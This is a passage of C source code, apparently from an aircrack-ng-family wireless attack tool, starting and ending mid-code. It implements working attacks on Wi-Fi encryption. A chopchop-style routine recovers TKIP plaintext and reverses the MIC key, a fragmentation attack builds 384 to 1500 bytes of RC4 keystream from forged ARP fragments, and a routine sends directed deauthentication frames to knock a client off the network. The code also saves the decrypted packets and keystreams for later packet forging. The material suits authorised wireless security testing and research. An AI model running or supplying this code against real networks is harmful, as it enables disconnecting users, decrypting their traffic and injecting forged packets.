+ i; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[26 + 9] = j; chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j; if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } // memcpy( h80211 + 10, opt.r_smac, 6 ); // memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; else tries++; settle=0; } if(tries > 768 && data_end < srclen) { //go back one step and validate the last chopped byte tries = 0; data_end++; guess = chopped[data_end - 1] ^ srcbuf[data_end - 1]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; PCT; printf("\nMoved one step backwards to chop the last byte again.\n"); continue; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 ) { nb_bad_pkt++; if( nb_bad_pkt > 2 ) { printf( "\n\nFailure: got several deauthentication packets " "from the AP - you need to start the whole process " "all over again, as the client got disconnected.\n\n" ); return( 1 ); } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; // if( ( h80211[5] & 0xFE ) != // ( opt.r_smac[1] & 0xFE ) ) continue; /* if( ! ( h80211[5] & 1 ) ) {*/ if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); // } } else { /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; //must be a data packet if( ( h80211[0] & 0x70 ) != 0 ) continue; // if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* get header length right */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* check the extended IV (TKIP) flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) continue; /* check length (153)!? */ if( z+127 != n ) continue; //(153[26+127] bytes for eapol mic failure in tkip qos frames from client to AP) // printf("yeah!\n"); //direction must be inverted. if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue; //check correct macs switch( h80211[1] & 3 ) { case 1: if( memcmp( bssid, h80211 + 4, 6 ) != 0 && memcmp( dmac , h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; case 2: if( memcmp( smac , h80211 + 4, 6 ) != 0 && memcmp( bssid, h80211 + 10, 6 ) != 0 && memcmp( bssid, h80211 + 16, 6 ) != 0) continue; break; default: continue; break; } /* if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); }*/ if(nb_pkt_sent < 1) continue; } /* we have a winner */ // guess = h80211[9]; tries = 0; settle = 0; guess = (guess - 1) % 256; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\r"); PCT; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; gettimeofday(&opt.last_mic_failure, NULL); PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval); fflush(stdout); if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //found correct packet :) break; while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic_fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 1000000) break; sleep(1); } alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[26 + 8 + 0] = srcbuf[26 + 8 + 0] ^ b1; chopped[26 + 8 + 1] = srcbuf[26 + 8 + 1] ^ b2; chopped[26 + 8 + 2] = srcbuf[26 + 8 + 2] ^ 0x03; chopped[26 + 8 + 3] = srcbuf[26 + 8 + 3] ^ 0x00; chopped[26 + 8 + 4] = srcbuf[26 + 8 + 4] ^ 0x00; chopped[26 + 8 + 5] = srcbuf[26 + 8 + 5] ^ 0x00; for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaround.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most likely invalid/useless\nTry another one.\n" ); } } caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */ if(opt.got_ptk) { PCT; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]); calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic); if( memcmp(mic, h80211+caplen-8, 8) == 0) { PCT; printf("Correct MIC!\n"); } else { PCT; printf("Incorrect MIC!\n"); } PCT; printf("Captured MIC: "); for(i=0; i<7; i++) printf("%02X:", h80211[caplen-8+i]); printf("%02X\n", h80211[caplen-1]); PCT; printf("Calculated MIC: "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); } calc_tkip_mic_key(h80211, caplen, mic); h80211[1] &= 0xBF; /* remove the WEP bit, too */ if((h80211[1] & 3) == 1) { PCT; printf("Reversed MIC Key (ToDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48+8, mic, 8); opt.got_mic_tods=1; opt.chopped_to_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_to_plain, h80211, caplen); opt.chopped_to_plain_len = caplen; opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8); opt.chopped_to_prga_len = caplen-26+4+8; } if((h80211[1] & 3) == 2) { PCT; printf("Reversed MIC Key (FromDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48, mic, 8); opt.got_mic_fromds=1; opt.chopped_from_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_from_plain, h80211, caplen); opt.chopped_from_plain_len = caplen; opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8); opt.chopped_from_prga_len = caplen-26+4+8; } /* save the decrypted packet */ gettimeofday( &tv, NULL ); pfh_out.magic = TCPDUMP_MAGIC; pfh_out.version_major = PCAP_VERSION_MAJOR; pfh_out.version_minor = PCAP_VERSION_MINOR; pfh_out.thiszone = 0; pfh_out.sigfigs = 0; pfh_out.snaplen = 65535; pfh_out.linktype = LINKTYPE_IEEE802_11; pkh.tv_sec = tv.tv_sec; pkh.tv_usec = tv.tv_usec; pkh.caplen = caplen; pkh.len = caplen; lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 26 - 8; if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); PCT; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 26 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac, uchar *src_ip, uchar *dst_ip, int size) { uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01"; uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, 4); memcpy(h80211+4, bssid, 6); memcpy(h80211+10, src_mac, 6); memcpy(h80211+16, dst_mac, 6); h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, arp_header, 16); memcpy(h80211+40, src_mac, 6); memcpy(h80211+46, src_ip, 4); memset(h80211+50, '\x00', 6); memcpy(h80211+56, dst_ip, 4); // Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen) { size_t unused; FILE *xorfile; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { uchar packet[4096]; uchar packet2[4096]; uchar prga[4096]; uchar iv[4]; // uchar ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int done; int caplen; int caplen2; int arplen; int round; int prga_len; int isrelay; int again; int length; int ret; int gotit; int acksgot; int packets; int z; uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); } if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0xAA packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08); //0x00 instead of 0x08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 32, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 400-24 && caplen-z < 500-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n"); again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; send_fragments(h80211, arplen, iv, prga, 300, 0); // //Plus an ACK // send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our MAC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all frames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for acks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n"); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); } lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d bytes keystream\n", length); done=1; } return( 0 ); } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } int getHDSK() { int i, n; int aacks, sacks, caplen; struct timeval tv; fd_set rfds; n = 0; // usleep( 180000 ); /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 4; i++ ) { if(i == 0) { PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.wpa.stmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.wpa.stmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 100000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( h80211, sizeof( h80211 ), NULL ); check_received(h80211, caplen); if(caplen <= 0 ) break; if(caplen != 10) continue; if( h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 ) { aacks++; } if( memcmp(h80211+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } } } printf("\n"); return( 0 ); } int main( int argc, char *argv[] ) { int i, j, n, ret, got_hdsk; char *s, buf[128]; int caplen=0; uchar packet1[4096]; uchar packet2[4096]; int packet1_len, packet2_len; struct timeval mic_fail; #ifdef USE_GCRYPT // Disable secure memory. gcry_control (GCRYCTL_DISABLE_SECMEM, 0); // Tell Libgcrypt that initialization has completed. gcry_control (GCRYCTL_INITIALIZATION_FINISHED, 0); #endif /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = 80; opt.f_maxlen = 80; opt.f_minlen_set = 0; opt.f_maxlen_set = 0; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.npackets = -1; opt.delay = 15; opt.bittest = 0; opt.fast = -1; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"pmk", 1, 0, 'P'}, {"psk", 1, 0, 'p'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_minlen_set=1; break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.f_maxlen_set=1; break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && 